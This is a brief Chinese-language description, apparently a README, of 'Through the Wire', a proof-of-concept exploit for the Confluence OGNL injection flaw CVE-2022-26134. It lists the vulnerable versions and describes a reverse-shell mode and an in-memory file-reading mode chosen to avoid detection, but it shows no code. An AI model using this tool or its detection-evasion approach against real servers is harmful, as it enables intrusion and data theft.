Through the Wire 是一个针对 CVE-2022-26134 的概念验证利用，该漏洞是一个影响 Atlassian Confluence Server 和 Data Center 版本 <= 7.13.6 LTS 及 <= 7.18.0 "Latest" 的 OGNL 注入漏洞。最初这是一个在野利用的零日漏洞。
Through the Wire 实现了两种不同的利用方式。反弹 shell 会调用 bash，因此更容易被检测到。文件读取器则直接在内存中执行，因此不易被检测到。
这些利用仅适用于 Linux 版 Confluence。理论上也适用于 Windows，但我比较懒。已在 7.13.6 LTS（可能是企业目标）和 7.18.0（最后一个存在漏洞的“发布版”）上测试通过。
